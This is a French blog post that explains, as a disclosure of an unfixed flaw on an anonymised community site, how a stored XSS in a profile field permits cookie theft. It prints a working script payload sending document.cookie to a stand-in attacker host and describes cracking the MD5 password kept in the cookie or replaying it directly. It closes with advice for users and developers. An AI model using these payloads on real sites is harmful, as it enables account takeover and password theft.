Blog Me Hard !

Cet article expose en détail les dangers bien réels d’une simple faille XSS (cross site scripting) permettant un vol de cookie.
Il est basé sur le cas concret d’un site communautaire européen bien connu qui, malgré plusieurs avertissements, n’a pris aucune mesure pour remédier au problème.
Nous l’appellerons www.example.com pour les besoins de l’article.

La faille XSS

Le Cross Site Scripting (XSS) consiste à faire exécuter une portion de code malveillant sur une page mal protégée.

Dans notre exemple, le site www.example.com propose à ses membres de renseigner un profil en ligne (nom, prénom, adresse).
Ces renseignements peuvent être rendus publics et donc être affichés lorsqu’un autre membre consulte votre profil.
La première faille se trouve ici. En effet, certains champs du formulaire (tels que le prénom) ne sont pas filtrés : tout ce qui est écrit dans le champ “prénom” est enregistré et sera affiché (ou exécuté) à chaque affichage du profil.

Test de vulnérabilité

Pour le vérifier, on peut commencer par entrer le code suivant :

<script>alert(’bonjour’);</script>

A l’affichage du profil, une sympathique alerte nous souhaitant le bonjour apparaîtra.
Jusque là rien de bien méchant, c’est certes un peu gênant mais pas dangereux.

Vol de cookie

C’est là qu’intervient le vol de cookie. Si l’on remplace le code précédent par :

<script>document.images[0].src=”http://www.siteattaquant.com/script.php?id=”+document.cookie;</script>
(Dans cet exemple, la 1e image de la page attaquée est remplacée par le retour que lui fait script.php. Ce script sert en fait à capter le cookie, à l’enregistrer et à retourner l’image d’origine, passant ainsi inaperçu)

le problème devient plus conséquent. En effet, à chaque connexion au site www.example.com, un cookie contenant diverses informations personnelles est stocké sur l’ordinateur du membre.
Le code inséré précédemment envoie toutes ces informations personnelles au site attaquant.

Mais que contient ce cookie exactement ? C’est là que se trouve la plus grosse bévue à mon avis : le cookie, outre l’identifiant du membre sur le site contient le … mot de passe ! Oui : le mot de passe.
Celui-ci est certes encodé mais comme nous allons le voir plus loin, cet encodage ne sert pas à grand chose.

Résumons : après avoir ajouté un petit bout de code javascript sur son profil, l’attaquant attend qu’un autre membre le consulte. Lorsque ceci survient, le cookie du membre attaqué est transmis au site de l’attaquant qui possède alors l’identifiant et le mot de passe crypté de sa victime.

Le MD5

Certes le mot de passe est crypté. Mais il s’agit d’un cryptage MD5, réputé vulnérable depuis de nombreuses années et pourtant toujours très utilisé.
Un moyen simple de “décrypter” un md5 est d’utiliser les tables disponibles sur le web. En effet, à un mot de passe en clair donné ne correspond qu’un et un seul mot de passe crypté.
Ex : le mot de passe “hello” une fois crypté donnera toujours “5d41402abc4b2a76b9719d911017c592″.
Si vous avez une table contenant un maximum de mots et leurs équivalents cryptés il devient aisé de retrouver le mot en clair à partir du mot crypté.

Certes cette méthode n’est pas efficace à 100% puisqu’un mot de passe peut aussi être de la forme 1j9iJH)-yE3è82. Difficile à imaginer à priori et donc introuvable via la méthode précédente.
Mais qui utilise ce genre de mot de passe ? (à part moi peut-être). La majorité des gens utilisent leur date de naissance ou le nom de leur chien. Et surtout, ils utilisent ce même mauvais mot de passe sur tous les sites.
Ainsi, une fois que l’attaquant a votre mot de passe, il peut accéder à votre boite mail ou votre compte facebook avec le même mot de passe.

Ceci étant, il n’est parfois même pas nécessaire d’avoir le mot de passe en clair. Le site www.example.com permet en effet de se connecter avec le mot de passe crypté.
Afin d’éviter à ses membres de retaper leur identifiant et mot de passe, le site récupère directement ces informations dans le cookie. Même plus besoin de décrypter, la porte est ouverte.

Conseils pour les utilisateurs :

- choisissez un mot de passe compliqué. Votre date de naissance n’est PAS un mot de passe. C’est un passe-partout.
- n’utilisez pas le même mot de passe pour tous les sites. La clef de votre appartement n’ouvre pas votre voiture ni la porte de votre bureau je suppose ?
- soyez toujours conscient des informations que vous fournissez.

Conseils pour les développeurs :

- filtrez TOUS les champs. Rien ne sert de mettre une porte blindée si vous laissez une fenêtre ouverte.
- abandonnez le MD5. Vraiment.
- ne stockez JAMAIS un mot de passe dans un cookie. Même crypté.